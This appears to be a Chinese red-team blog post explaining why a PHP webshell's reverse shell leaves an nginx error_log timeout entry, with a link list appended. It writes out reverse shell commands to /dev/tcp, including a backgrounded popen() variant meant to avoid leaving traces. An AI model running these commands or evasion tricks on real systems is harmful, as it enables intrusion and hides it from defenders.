渗透中被忽视的error_log
01
背景
在一次红蓝对抗中,为了尽量减少痕迹的留下,都会对一些日志进行清理,比如:删除指定IP记录 。在用PHP system函数 进行反弹shell时候,我发现error.log 留下的痕迹,接下来做一个踩坑记录,避免有师傅跟我遭遇一样的情况,被溯源到痕迹 。
- 环境
nginx/1.16.1
PHP 5.4.16 (cli)
02
error_log 的产生
首先error_log 是默认开启的
保存路径:/var/log/nginx/error.log
nginx error_log 用于记录常规错误消息,如果在Web应用程序中遇到错误,可检查nginx errror_log 以查看
是否有关错误发生原因的信息,同时error_log 可以自定义等级
- example:
error_log log_file log_level
error_log /var/log/nginx/error.log warn;
我们最常见到的error_log ,我们访问Web一个不存在的文件
03
error_log fastcgi
- 反弹shell:
/bin/bash -i >& /dev/tcp/x.x.x.x/8999 0>&1
- error_log:
2020/08/26 15:11:22 [error] 20764#0: *2257 upstream timed out (110: Connection timed out) while reading response header from upstream, client: xxx.xx.x, server: _, request: "POST /t/eval.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "xxx.xxx.xx.x"
为什么在执行反弹shell的时候,发生一条error_log?
根据报错我们可以看到,Webshell 地址,报错原因来自fastcgi
我们在正常执行命令输出的过程,是只记录access.log并不会产生error_log
- PHP SYSTEM 函数
没错,刚过完的七夕、没有妹妹在等你,system 在等着你返回结果~!!!!!!!!!
因为在执行反弹shell命令时,system在等待输入命令的返回结果,因为长期等待不到结果,导致误认为连接不到fastcgi报错。
也就是说当红队执行反弹shell命令时可能会留下error_log , 在实际查看error_log 中,当您执行的一些命令有误或者长时挂起,导致连接fastcgi 连接超时 都会产生 error_log。
04
solve problem
因为反弹shell 执行命令时 等待不到输出结果,导致 upstream timed out (110: Connection timed out) while reading response header from upstream加 & 符号 把新起的/bin/bash 放置后台运行即可!
popen("/bin/bash -i >& /dev/tcp/ip/8999 0>&1 &","r")
05
结尾
红队执行命令 注意留下的error_log 防止暴露自己的痕迹(不止反弹shell 会留下error_log、提权、等等操作)蓝队分析日志当发现 Web 日志被清除时,比如access.log 被 清除,可考虑查看error_log (有惊喜)借用大佬的话、渗透的本质就是信息收集。
- Golang语言社区--Golang通用连接池
- 学习笔记CB009:人工神经网络模型、手写数字识别、多层卷积网络、词向量、word2vec
- 本周群问题分享
- 干货 | 一篇文章教你用TensorFlow写名著
- 开发图片预加载框架
- 机器学习之分类问题实战(基于UCI Bank Marketing Dataset)
- python笔记:#013#高级变量类型
- 浮动之后的那些事儿 - 清浮动操作
- Visual C++内存泄露检测工具(VLD)
- python笔记:#012#函数
- 机器学习编程语言之争,Python夺魁
- 客户端自动化测试研究
- 美团点评酒店后台故障演练系统
- Android增量代码测试覆盖率工具
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 原创 | codeforces 1426F,初学者也能做,div3的最难题
- 安全研究 | YARA规则阻止Windows事件日志记录
- 研究人员如何使用Shhgit搜索GitHub中的敏感数据
- 使用nProbe监控移动网络(2G,3G和LTE)
- Mykings僵尸网络新变种已感染超5万台电脑
- 谁告诉你鸿蒙(HarmonyOS)不能在macOS下玩,一副没见过世面的样子!
- 连Python产生器(Generator)的原理都解释不了,还敢说Python用了5年?
- WordPress插件File-Manager任意文件上传复现
- CVE-2020-15778:OpenSSH命令注入漏洞复现
- TokyoWesterns CTF 6th 2020 部分WP
- 极客巅峰2020 部分WriteUp
- norecon:一款自动化recon工具
- Bashtop:一款功能强大的LinuxOSXFreeBSD资源监控工具
- iOS 推送手机消息背后的技术
- 手把手教你使用 cert-manager 签发免费证书